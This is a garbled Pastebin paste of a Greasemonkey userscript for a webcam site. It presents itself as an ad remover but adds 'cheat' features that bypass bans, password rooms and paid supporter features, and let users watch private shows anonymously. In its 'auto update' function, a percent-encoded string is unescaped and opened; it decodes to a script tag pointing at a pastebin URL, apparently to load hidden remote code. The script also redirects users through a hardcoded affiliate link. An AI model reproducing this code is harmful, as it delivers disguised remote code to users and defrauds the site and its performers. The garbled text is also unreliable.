Advertisement
jimgreeno

Untitled

Sep 11th, 2017
1,299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 236.57 KB | None | 0 0
  1. 90.//==UserScript==//==//=====================================================
  2.  
  3.  
  4. 91.1.1. 2. 3.2. // ==UserScript== 4. 5. 6.3. // @name chaturbate 7. 8. 9.4. // @version 1 10. 11. 12.5. // @namespace chaturbate 13. 14. 15.6. // @description chaturbate 16. 17.7. // @include http://*.chaturbate.com/*/ded/?-_js./embed_js.php? 18. 19.8. // @include http://*.chaturbate.com//api/getchatuserlist/? 20. 21.9. // @include http://chaturbate.com/* 22. 23. 24.10. // @exclude http://serve.ads.chaturbate.com/* 25. 26. 27.11. // @run-at document-start 28. 29. 30.12. // @grant GM_getValue 31. 32. 33.13. // @grant GM_setValue 34. 35. 36.14. // @grant GM_addStyle 37. 38. 39.15. // @grant GM_xmlhttpRequest 40. 41. 42.16. // ==/UserScript== 43. 44. 45.17. 46. 47. 48.18. scversion = 16.7; 49. 50. 51.19. flashplayer = "/static/flash/CBV_2p640.swf"; 52. 53. 54.20. 55. 56. 57.21. //===================== 58. 59. 60.22. // if you see this text then save the file as *- newchaturbate.user.js -* 61. 62. 63.23. //after saving open it inside chromeµsoft edge & and install it. 64. 65. 66.24.============ ==//======================================================= 67. 68. 69.25. // 70. 71. 72.26. //==========================================73. 74. 75.27.===== //====================ONLY FOR CHROME&MICROSOFT EDGE WITH =======================GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<< 76. 77. 78.28. // ==================DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!===================== 79. 80. 81.29. // V12+ 82. 83. 84.30. // Removes all ======================advertisements 85. 86. 87.31. // Inserts a new video box if the room is password protected or if your banned or blocked 88. 89. 90.32. // More colums on the main screen and streched the chat box 91. 92. 93.33. // External links are no longer redirected 94. 95. 96.34. // Checks the version of the flash player and tries to use the same version on protectected rooms 97. 98. 99.35. // Shoutbox at the end of the screen 100. 101. 102.36. // By default the chat won't show emoticons 103. 104. 105.37. // 106. 107. 108.38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! 109. 110. 111.39. // 112. 113. 114.40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal 115. 116. 117.41. // webcam or to go to a webcam with special functions. 118. 119. 120.42. // On a normal cam page you have the option to go back to the profile page. 121. 122. 123.43. // 124. 125. 126.44. // special video mode where you can enter a streamkey 127. 128. 129.45. // 130. 131. 132.46. // only the last updates are mentioned here , the list became too long 133. 134. 135.47. // 136. 137. 138.48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any 139. 140. 141.49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room 142. 143. 144.50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode 145. 146. 147.51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use 148. 149. 150.52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one 151. 152. 153.53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy 154. 155. 156.54. // v14.8 video server orgin3 added 157. 158. 159.55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names 160. 161. 162.56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string 163. 164. 165.57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be 166. 167. 168.58. // in broadcaster mode. You can open a room in clean Iframe mode. 169. 170. 171.59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user 172. 173. 174.60. // v15.3 all video options removed , tipping removed , fixed anon entry 175. 176. 177.61. // v15.4 fix for tipnotes 178. 179. 180.62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed 181. 182. 183.63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window 184. 185. 186.64. // v15.7 no more tip notes 187. 188. 189.65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) 190. 191. 192.66. // v15.9 bug fix from 15.8 193. 194. 195.67. // v16.0 , number scipped 196. 197. 198.68. // v16.1 use of a random server in password room b.c. the static server was down. 199. 200. 201.69. // v16.2 fix for FF 23 , find a user added 202. 203. 204.70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added 205. 206. 207.71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update 208. 209. 210.72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup 211. 212. 213.73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo 214. 215. 216.74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 217. 218. 219.75. 220. 221. 222.76. createCookie("agreeterms","1",1); 223. 224. 225.77. createCookie("np3","0",1); 226. 227. 228.78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 229. 230. 231.79. 232. 233. 234.80. function do_script() { 235. 236. 237.81. 238. 239. 240.82. // some adjustment needed if we are in cheat mode 241. 242. 243.83. 244. 245. 246.84. if (readCookie("cheatmode")){ 247. 248. 249.85. mode=readCookie("cheatmode").split("&"); 250. 251. 252.86. eraseCookie("cheatmode","chaturbate.com"); 253. 254. 255.87. preformer=mode[0]; 256. 257. 258.88. anon=mode[1]; 259. 260. 261.89. mob=mode[2]; 262. 263. 264.90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); 265. 266. 267.91. base=document.createElement('BASE'); 268. 269. 270.92. url=document.location.href; 271. 272. 273.93. url=url.replace(document.location.href.split("/")[4],preformer); 274. 275. 276.94. url=url.split("?")[0]; 277. 278. 279.95. 280. 281. 282.96. base.setAttribute("href",url); 283. 284. 285.97. 286. 287. 288.98. document.getElementsByTagName('head')[0].appendChild(base); 289. 290. 291.99. 292. 293. 294.100. 295. 296. 297.101. text1="
  5.  
  6.  
  7. 92.Welcome in "+preformer+"'s room.
  8.  
  9.  
  10. 93.
  11.  
  12.  
  13. 94."; 298. 299. 300.102. text2="
  14.  
  15.  
  16. 95.You are an anonymous user and you can not chat.
  17.  
  18.  
  19. 96.
  20.  
  21.  
  22. 97."; 301. 302. 303.103. text3="
  23.  
  24.  
  25. 98.You are in mobile mode and you are not visible in the userlist.
  26.  
  27.  
  28. 99.
  29.  
  30.  
  31. 100."; 304. 305. 306.104. text4='
  32.  
  33.  
  34. 101.Enter the private room--------Leave the private room
  35.  
  36.  
  37. 102.'; 307. 308. 309.105. text5="
  38.  
  39.  
  40. 103.Return to the profile.
  41.  
  42.  
  43. 104.
  44.  
  45.  
  46. 105."; 310. 311. 312.106. 313. 314. 315.107. text=document.createElement('div'); 316. 317. 318.108. 319. 320. 321.109. textf=text1; 322. 323. 324.110. if(anon==1){textf=textf+text2} 325. 326. 327.111. if(mob==1){textf=textf+text3} 328. 329. 330.112. if((anon==1)&&(mob==0)){textf=textf+text4} 331. 332. 333.113. 334. 335. 336.114. text.id="cheat"; 337. 338. 339.115. 340. 341. 342.116. text.innerHTML=textf+text5; 343. 344. 345.117. 346. 347. 348.118. body=document.getElementsByTagName('body')[0]; 349. 350. 351.119. 352. 353. 354.120. body.insertBefore(text, body.firstChild); 355. 356. 357.121. 358. 359. 360.122. // fix abuse 361. 362. 363.123. abu=document.getElementById("report_popup"); 364. 365. 366.124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); 367. 368. 369.125. 370. 371. 372.126. // fix the tipping 373. 374. 375.127. tips=document.getElementsByClassName('tip_shell')[0]; 376. 377. 378.128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); 379. 380. 381.129. 382. 383. 384.130. } 385. 386. 387.131. 388. 389. 390.132. // always earase again, just in case we broke the page 391. 392. 393.133. eraseCookie("cheatmode","chaturbate.com"); 394. 395. 396.134. // earase these too 397. 398. 399.135. eraseCookie("latest_linked_timestamp"); 400. 401. 402.136. eraseCookie("latest_linked_username"); 403. 404. 405.137. eraseCookie("affkey"); 406. 407. 408.138. eraseCookie("fromaffiliate"); 409. 410. 411.139. 412. 413. 414.140. 415. 416. 417.141. // from here normal script 418. 419. 420.142. 421. 422. 423.143. // remove visible adds 424. 425. 426.144. ad = document.getElementsByClassName('ad'); 427. 428. 429.145. if (document.location.href.split("/")[3]!="b"){ 430. 431. 432.146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} 433. 434. 435.147. 436. 437. 438.148. verstr='Special edition
  47.  
  48.  
  49. 106.V '+scversion; 439. 440. 441.149. if(document.getElementById("player")){verstr=verstr+'
  50.  
  51.  
  52. 107. Debug chatbox: '} 442. 443. 444.150. if (ad[0]){ad[0].innerHTML=verstr} 445. 446. 447.151. 448. 449. 450.152. 451. 452. 453.153. ad = document.getElementsByClassName('banner')[0]; 454. 455. 456.154. if (ad){ad.parentNode.removeChild(ad)} 457. 458. 459.155. ad=document.getElementById("botright"); 460. 461. 462.156. if (ad){ad.parentNode.removeChild(ad)} 463. 464. 465.157. 466. 467. 468.158. // advert options on menu bars and check if your logged in 469. 470. 471.159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} 472. 473. 474.160. notlogged = GM_getValue( "all" , 0 ); 475. 476. 477.161. bar=document.getElementById("nav"); 478. 479. 480.162. if (bar){ 481. 482. 483.163. barl=bar.getElementsByTagName('li'); 484. 485. 486.164. i=barl.length-1; 487. 488. 489.165. while (i != -1){ 490. 491. 492.166. d=barl[i].innerHTML; 493. 494. 495.167. if (d.indexOf('/login') != -1) {notlogged = 1} 496. 497. 498.168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} 499. 500. 501.169. else{barl[i].parentNode.removeChild(barl[i]);i--} 502. 503. 504.170. }} 505. 506. 507.171. 508. 509. 510.172. // rss feed link 511. 512. 513.173. if(document.getElementsByClassName('wide')[0]){ 514. 515. 516.174. newli=document.createElement('li'); 517. 518. 519.175. newli.innerHTML="LAST ONLINE "; 520. 521. 522.176. if (bar){bar.appendChild(newli)}} 523. 524. 525.177. 526. 527. 528.178. // find user 529. 530. 531.179. if(document.getElementsByClassName('wide')[0]){ 532. 533. 534.180. newli=document.createElement('li'); 535. 536. 537.181. newli.innerHTML="FIND A USER "; 538. 539. 540.182. if (bar){bar.appendChild(newli)}} 541. 542. 543.183. 544. 545. 546.184. 547. 548. 549.185. // blog spam 550. 551. 552.186. ad = document.getElementsByClassName('featured_blog_posts')[0]; 553. 554. 555.187. if (ad){ad.parentNode.removeChild(ad)} 556. 557. 558.188. 559. 560. 561.189. // footer spam 562. 563. 564.190. ad = document.getElementsByClassName('featured_text')[0]; 565. 566. 567.191. if (ad){ad.parentNode.removeChild(ad)} 568. 569. 570.192. 571. 572. 573.193. // announcement banner 574. 575. 576.194. ad = document.getElementsByClassName('top-section')[0]; 577. 578. 579.195. if (ad){ 580. 581. 582.196. ad = ad.getElementsByTagName('img')[0]; 583. 584. 585.197. if (ad){ad.parentNode.removeChild(ad)}} 586. 587. 588.198. 589. 590. 591.199. // footer cleanup 592. 593. 594.200. ad = document.getElementsByClassName('footer-holder')[0]; 595. 596. 597.201. if (ad){ 598. 599. 600.202. ad1 = ad.getElementsByTagName('p')[3]; 601. 602. 603.203. if (ad1){ad1.parentNode.removeChild(ad1)} 604. 605. 606.204. ad1 = ad.getElementsByTagName('p')[2]; 607. 608. 609.205. if (ad1){ad1.parentNode.removeChild(ad1)} 610. 611. 612.206. ad1 = ad.getElementsByTagName('p')[1]; 613. 614. 615.207. if (ad1){ad1.parentNode.removeChild(ad1)} 616. 617. 618.208. ad1 = ad.getElementsByTagName('p')[0]; 619. 620. 621.209. if (ad1){ad1.parentNode.removeChild(ad1)}} 622. 623. 624.210. 625. 626. 627.211. // strech the screen 628. 629. 630.212. front=document.getElementsByClassName('c-1')[0]; 631. 632. 633.213. if(front) { 634. 635. 636.214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 637. 638. 639.215. front=document.getElementsByClassName('c-1')[1]; 640. 641. 642.216. if(front) { 643. 644. 645.217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 646. 647. 648.218. 649. 650. 651.219. // remove out of position images 652. 653. 654.220. container = document.getElementById("tabs_content_container") 655. 656. 657.221. if (container){ 658. 659. 660.222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); 661. 662. 663.223. for (n=0; nOPEN THE NORMAL CHAT "; 760. 761. 762.256. if (bar){bar.appendChild(newli)} 763. 764. 765.257. 766. 767. 768.258. 769. 770. 771.259. // go to semi password room 772. 773. 774.260. newli=document.createElement('li'); 775. 776. 777.261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; 778. 779. 780.262. newli.innerHTML="GO TO PASSWORD ROOM"; 781. 782. 783.263. if (bar){bar.appendChild(newli)}; 784. 785. 786.264. 787. 788. 789.265. // go to embedded room 790. 791. 792.266. newli=document.createElement('li'); 793. 794. 795.267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; 796. 797. 798.268. newli.innerHTML="OPEN THE ROOM IN A CLEAN PAGE"; 799. 800. 801.269. if (bar){bar.appendChild(newli)}; 802. 803. 804.270. 805. 806. 807.271. } // end only on profile page 808. 809. 810.272. 811. 812. 813.273. // graphic rss feed 814. 815. 816.274. function showfeed(){ 817. 818. 819.275. var x=document.getElementById("selector").selectedIndex; 820. 821. 822.276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; 823. 824. 825.277. 826. 827. 828.278. GM_xmlhttpRequest({ 829. 830. 831.279. method: 'GET', 832. 833. 834.280. url: feedXml, 835. 836. 837.281. onload: function(response) { 838. 839. 840.282. xmlString=response.responseText; 841. 842. 843.283. 844. 845. 846.284. // dirty HTML parser, i can handle xml as html 847. 848. 849.285. xmldoc=document.createElement('div'); 850. 851. 852.286. xmldoc.innerHTML=xmlString; 853. 854. 855.287. 856. 857. 858.288. area=document.getElementsByClassName('content_body')[0]; 859. 860. 861.289. area.innerHTML=""; 862. 863. 864.290. 865. 866. 867.291. newdiv=document.createElement('div'); 868. 869. 870.292. area.appendChild(newdiv); 871. 872. 873.293. 874. 875. 876.294. holder=document.createElement('ul'); 877. 878. 879.295. holder.className="list"; 880. 881. 882.296. holder.id="check"; 883. 884. 885.297. newdiv.appendChild(holder); 886. 887. 888.298. 889. 890. 891.299. var items = new Array(); 892. 893. 894.300. items=xmldoc.getElementsByTagName('item'); 895. 896. 897.301. 898. 899. 900.302. blockstring='item2' 901. 902. 903.303. +' ' 904. 905. 906.304. +'
  53.  
  54.  
  55. 108.' 907. 908. 909.305. +'
  56.  
  57.  
  58. 109.' 910. 911. 912.306. +'item5' 913. 914. 915.307. +' ' 916. 917. 918.308. +'
  59.  
  60.  
  61. 110.' 919. 920. 921.309. +'' 922. 923. 924.310. +'
  62.  
  63.  
  64. 111.' 925. 926. 927.311. +'' 928. 929. 930.312. +'' 931. 932. 933.313. +'•item8
  65.  
  66.  
  67. 112.' 934. 935. 936.314. +'•item9 min. online - item10 viewers
  68.  
  69.  
  70. 113.' 937. 938. 939.315. +'' 940. 941. 942.316. +''; 943. 944. 945.317. 946. 947. 948.318. for (n=0; n= 24){Honline=Honline-24} 1012. 1013. 1014.340. 1015. 1016. 1017.341. d = new Date(); 1018. 1019. 1020.342. Hnow = d.getHours(); 1021. 1022. 1023.343. Mnow = d.getMinutes(); 1024. 1025. 1026.344. Snow = d.getSeconds(); 1027. 1028. 1029.345. 1030. 1031. 1032.346. secnow=(Hnow*60*60)+(Mnow*60)+Snow; 1033. 1034. 1035.347. seconl=(Honline*60*60)+(Monline*60)+Sonline; 1036. 1037. 1038.348. secdiff=Math.abs(secnow-seconl); 1039. 1040. 1041.349. mindiff=parseInt(secdiff/60); 1042. 1043. 1044.350. 1045. 1046. 1047.351. block=document.createElement('li'); 1048. 1049. 1050.352. block.setAttribute("style", "margin: 5px 5px 5px 5px;"); 1051. 1052. 1053.353. 1054. 1055. 1056.354. blockstring1=blockstring.replace("item1",image_url); 1057. 1058. 1059.355. blockstring1=blockstring1.replace("item2",title); 1060. 1061. 1062.356. blockstring1=blockstring1.replace("item3",guid); 1063. 1064. 1065.357. blockstring1=blockstring1.replace("item4",guid); 1066. 1067. 1068.358. blockstring1=blockstring1.replace("item5",username); 1069. 1070. 1071.359. blockstring1=blockstring1.replace("item6",gender); 1072. 1073. 1074.360. blockstring1=blockstring1.replace("item8",location_); 1075. 1076. 1077.361. blockstring1=blockstring1.replace("item9",mindiff); 1078. 1079. 1080.362. blockstring1=blockstring1.replace("item10",number_of_users_watching); 1081. 1082. 1083.363. 1084. 1085. 1086.364. block.innerHTML=blockstring1; 1087. 1088. 1089.365. 1090. 1091. 1092.366. holder.appendChild(block); 1093. 1094. 1095.367. 1096. 1097. 1098.368. } // end for 1099. 1100. 1101.369. 1102. 1103. 1104.370. setTimeout(function(){showfeed()},20000); 1105. 1106. 1107.371. 1108. 1109. 1110.372. } // end onload 1111. 1112. 1113.373. }); // end xmlhttp 1114. 1115. 1116.374. } // end function 1117. 1118. 1119.375. 1120. 1121. 1122.376. 1123. 1124. 1125.377. //finduser 1126. 1127. 1128.378. function finduser(){ 1129. 1130. 1131.379. fusern=document.getElementById("fusername").value; 1132. 1133. 1134.380. if (fusern == ""){alert("First fill in a username !");return false} 1135. 1136. 1137.381. 1138. 1139. 1140.382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; 1141. 1142. 1143.383. 1144. 1145. 1146.384. 1147. 1148. 1149.385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; 1150. 1151. 1152.386. 1153. 1154. 1155.387. GM_xmlhttpRequest({ 1156. 1157. 1158.388. method: 'GET', 1159. 1160. 1161.389. url: feedXml, 1162. 1163. 1164.390. onload: function(response) { 1165. 1166. 1167.391. responsedoc=response.responseText; 1168. 1169. 1170.392. 1171. 1172. 1173.393. // dirty HTML parser 1174. 1175. 1176.394. parse=document.createElement('div'); 1177. 1178. 1179.395. parse.innerHTML=responsedoc; 1180. 1181. 1182.396. 1183. 1184. 1185.397. var items = new Array(); 1186. 1187. 1188.398. items=parse.getElementsByClassName('title'); 1189. 1190. 1191.399. 1192. 1193. 1194.400. var olnames = new Array(); 1195. 1196. 1197.401. for (i=0; i"+fusern+"
  71.  
  72.  
  73. 114.
  74.  
  75.  
  76. 115."; 1228. 1229. 1230.412. 1231. 1232. 1233.413. i=0; 1234. 1235. 1236.414. checkroom(olnames,i); 1237. 1238. 1239.415. 1240. 1241. 1242.416. } // end onload xml 1243. 1244. 1245.417. 1246. 1247. 1248.418. }); // end xml 1249. 1250. 1251.419. 1252. 1253. 1254.420. } //end function 1255. 1256. 1257.421. 1258. 1259. 1260.422. 1261. 1262. 1263.423. function checkroom(olnames,i){ 1264. 1265. 1266.424. 1267. 1268. 1269.425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; 1270. 1271. 1272.426. 1273. 1274. 1275.427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : "+olnames[i]+"
  77.  
  78.  
  79. 116."; 1276. 1277. 1278.428. 1279. 1280. 1281.429. GM_xmlhttpRequest({ 1282. 1283. 1284.430. method: 'GET', 1285. 1286. 1287.431. url: userurl, 1288. 1289. 1290.432. onload: function(response) { 1291. 1292. 1293.433. data = response.responseText; 1294. 1295. 1296.434. if(data.indexOf(fusern+"|") != -1){ 1297. 1298. 1299.435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '"+fusern+"' found in room : "+olnames[i]+"
  80.  
  81.  
  82. 117."; 1300. 1301. 1302.436. } 1303. 1304. 1305.437. i++; 1306. 1307. 1308.438. if(i==olnames.length){ 1309. 1310. 1311.439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){ 1312. 1313. 1314.440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '"+fusern+"' not found."} 1315. 1316. 1317.441. else{ 1318. 1319. 1320.442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} 1321. 1322. 1323.443. return false} 1324. 1325. 1326.444. checkroom(olnames,i); 1327. 1328. 1329.445. } // end onload xml2 1330. 1331. 1332.446. }); // end xml2 1333. 1334. 1335.447. } 1336. 1337. 1338.448. 1339. 1340. 1341.449. // set up rss page 1342. 1343. 1344.450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ 1345. 1346. 1347.451. document.title="Last cam's online"; 1348. 1349. 1350.452. area=document.getElementsByClassName('content_body')[0]; 1351. 1352. 1353.453. area.innerHTML=""; 1354. 1355. 1356.454. area=document.getElementsByClassName('affiliate_options')[0]; 1357. 1358. 1359.455. area.innerHTML='
  83.  
  84.  
  85. 118.Last cam\'s online : Show allShow only femaleShow only maleShow only coupleShow only transsexual'; 1360. 1361. 1362.456. showfeed(); 1363. 1364. 1365.457. } 1366. 1367. 1368.458. 1369. 1370. 1371.459. // set up find a user page 1372. 1373. 1374.460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ 1375. 1376. 1377.461. document.title="Find a user"; 1378. 1379. 1380.462. area=document.getElementsByClassName('content_body')[0]; 1381. 1382. 1383.463. area.innerHTML=""; 1384. 1385. 1386.464. area=document.getElementsByClassName('affiliate_options')[0]; 1387. 1388. 1389.465. area.innerHTML='
  86.  
  87.  
  88. 119.Enter the name of the user you want to locate:
  89.  
  90.  
  91. 120.'; 1390. 1391. 1392.466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false); 1393. 1394. 1395.467. } 1396. 1397. 1398.468. 1399. 1400. 1401.469. // on a player page, if logged in, unlock features. 1402. 1403. 1404.470. if (play){ // player on the page ? 1405. 1406. 1407.471. if (!readCookie("logstatus")){save()} 1408. 1409. 1410.472. if(document.getElementById("defchat")){ 1411. 1412. 1413.473. scrip=document.createElement('script'); 1414. 1415. 1416.474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; 1417. 1418. 1419.475. document.getElementsByTagName('body')[0].appendChild(scrip); 1420. 1421. 1422.476. } 1423. 1424. 1425.477. 1426. 1427. 1428.478. // console logger 1429. 1430. 1431.479. if(document.getElementById("defchat")){ 1432. 1433. 1434.480. scrip=document.createElement('script'); 1435. 1436. 1437.481. 1438. 1439. 1440.482. scriptstring="flash_handler.consolelog = " 1441. 1442. 1443.483. +"function(msg2){" 1444. 1445. 1446.484. +"xaa=document.getElementsByClassName('chat-list')[0];" 1447. 1448. 1449.485. +"if(xaa){" 1450. 1451. 1452.486. +"msg3=unescape(msg2);" 1453. 1454. 1455.487. +"msg4='x';" 1456. 1457. 1458.488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" 1459. 1460. 1461.489. +"msg4='
  92.  
  93.  
  94. 121.'+msg3.substring(20)+'
  95.  
  96.  
  97. 122.'}" 1462. 1463. 1464.490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" 1465. 1466. 1467.491. +"msg4='
  98.  
  99.  
  100. 123.'+msg3.substring(20)+'
  101.  
  102.  
  103. 124.'}" 1468. 1469. 1470.492. +"if(document.getElementById('appnotice')){" 1471. 1472. 1473.493. +"if(document.getElementById('appnotice').checked==true){" 1474. 1475. 1476.494. +"msg4='
  104.  
  105.  
  106. 125.'+msg3+'
  107.  
  108.  
  109. 126.';}}" 1477. 1478. 1479.495. +"if(msg4 != 'x'){" 1480. 1481. 1482.496. +"newdiv=document.createElement('div');" 1483. 1484. 1485.497. +"newdiv.className='text';" 1486. 1487. 1488.498. +"newdiv.innerHTML=msg4;" 1489. 1490. 1491.499. +"xaa.appendChild(newdiv);" 1492. 1493. 1494.500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" 1495. 1496. 1497.501. +"xaa.scrollTop=xaa.scrollHeight}}}};"; 1498. 1499. 1500.502. 1501. 1502. 1503.503. scrip.innerHTML=scriptstring; 1504. 1505. 1506.504. document.getElementsByTagName('body')[0].appendChild(scrip); 1507. 1508. 1509.505. } 1510. 1511. 1512.506. 1513. 1514. 1515.507. 1516. 1517. 1518.508. // options page on normal player page 1519. 1520. 1521.509. if (splits[3]!="p"){ // no profile but still a player page = normal page 1522. 1523. 1524.510. newli=document.createElement('li'); 1525. 1526. 1527.511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; 1528. 1529. 1530.512. newli.innerHTML="GO TO THE PROFILE PAGE WITH OPTIONS"; 1531. 1532. 1533.513. if (bar){bar.appendChild(newli)}} 1534. 1535. 1536.514. 1537. 1538. 1539.515. // shoutbox on all player pages 1540. 1541. 1542.516. newtab2=document.createElement('div'); 1543. 1544. 1545.517. newtab2.id="shout"; 1546. 1547. 1548.518. newtab2.innerHTML=sdata; 1549. 1550. 1551.519. document.getElementById("defchat").appendChild(newtab2); 1552. 1553. 1554.520. 1555. 1556. 1557.521. } // end player page 1558. 1559. 1560.522. 1561. 1562. 1563.523. // remove lock picture from thumb 1564. 1565. 1566.524. pictures = document.getElementsByClassName('preview'); 1567. 1568. 1569.525. if (pictures){ 1570. 1571. 1572.526. for (i=0; i'+uname+''; 1978. 1979. 1980.662. ulist.appendChild(div3); 1981. 1982. 1983.663. } 1984. 1985. 1986.664. }}) 1987. 1988. 1989.665. }} 1990. 1991. 1992.666. 1993. 1994. 1995.667. //popvid 1996. 1997. 1998.668. function popvid(){ 1999. 2000. 2001.669. vidwin=document.getElementById("player").innerHTML; 2002. 2003. 2004.670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); 2005. 2006. 2007.671. popUpWindow.document.writeln (''+vidwin+''); 2008. 2009. 2010.672. popUpWindow.document.close(); 2011. 2012. 2013.673. window.close(); 2014. 2015. 2016.674. document.location.href="http://chaturbate.com"} 2017. 2018. 2019.675. 2020. 2021. 2022.676. // new cheat function 2023. 2024. 2025.677. function npcheat(preformer,anon){ 2026. 2027. 2028.678. 2029. 2030. 2031.679. mmode=0; 2032. 2033. 2034.680. if(document.getElementById('mobmode').checked==true){mmode=1} 2035. 2036. 2037.681. 2038. 2039. 2040.682. // get chat host 2041. 2042. 2043.683. GM_xmlhttpRequest({ 2044. 2045. 2046.684. method: 'GET', 2047. 2048. 2049.685. url: 'http://www.chaturbate.com/embed/'+preformer, 2050. 2051. 2052.686. onload: function(response2) { 2053. 2054. 2055.687. data2 = response2.responseText; 2056. 2057. 2058.688. 2059. 2060. 2061.689. chostpos=data2.indexOf("rtmp://chat"); 2062. 2063. 2064.690. if (chostpos == -1){ 2065. 2066. 2067.691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); 2068. 2069. 2070.692. if (r==true){chost="rtmp://chat1"} 2071. 2072. 2073.693. else{chost="rtmp://chat2"}} 2074. 2075. 2076.694. else{ 2077. 2078. 2079.695. chost=data2.substring(chostpos,chostpos+12)} 2080. 2081. 2082.696. 2083. 2084. 2085.697. // set a cookie so we know the new page must be adjusted and how 2086. 2087. 2088.698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); 2089. 2090. 2091.699. 2092. 2093. 2094.700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; 2095. 2096. 2097.701. 2098. 2099. 2100.702. }}); 2101. 2102. 2103.703. } 2104. 2105. 2106.704. 2107. 2108. 2109.705. //auto update 2110. 2111. 2112.706. function save(){ 2113. 2114. 2115.707. if(document.getElementsByClassName('username')[0]){ 2116. 2117. 2118.708. uname=document.getElementsByClassName('username')[0].innerHTML; 2119. 2120. 2121.709. 2122. 2123. 2124.710. 2125. 2126. 2127.711. 2128. 2129. 2130.712. // createCookie("agreeterms","1",1); 2131. 2132. 2133.713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 2134. 2135. 2136.714. upperdate(); 2137. 2138. 2139.715. 2140. 2141. 2142.716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) 2143. 2144. 2145.717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; 2146. 2147. 2148.718. } 2149. 2150. 2151.719. 2152. 2153. 2154.720. // create video box with shoutbox, image,normal and anon option, kill refesh 2155. 2156. 2157.721. function makevid(preformer){ 2158. 2159. 2160.722. 2161. 2162. 2163.723. // kill all timeouts 2164. 2165. 2166.724. scrip=document.createElement('script'); 2167. 2168. 2169.725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; 2170. 2171. 2172.726. document.getElementsByTagName('body')[0].appendChild(scrip); 2173. 2174. 2175.727. 2176. 2177. 2178.728. // image 2179. 2180. 2181.729. prefimg=''; 2182. 2183. 2184.730. 2185. 2186. 2187.731. Fversion = getfversion(); 2188. 2189. 2190.732. videodata2 = videodata2.replace("ladroop",preformer); 2191. 2192. 2193.733. newvid=document.createElement('div'); 2194. 2195. 2196.734. 2197. 2198. 2199.735. 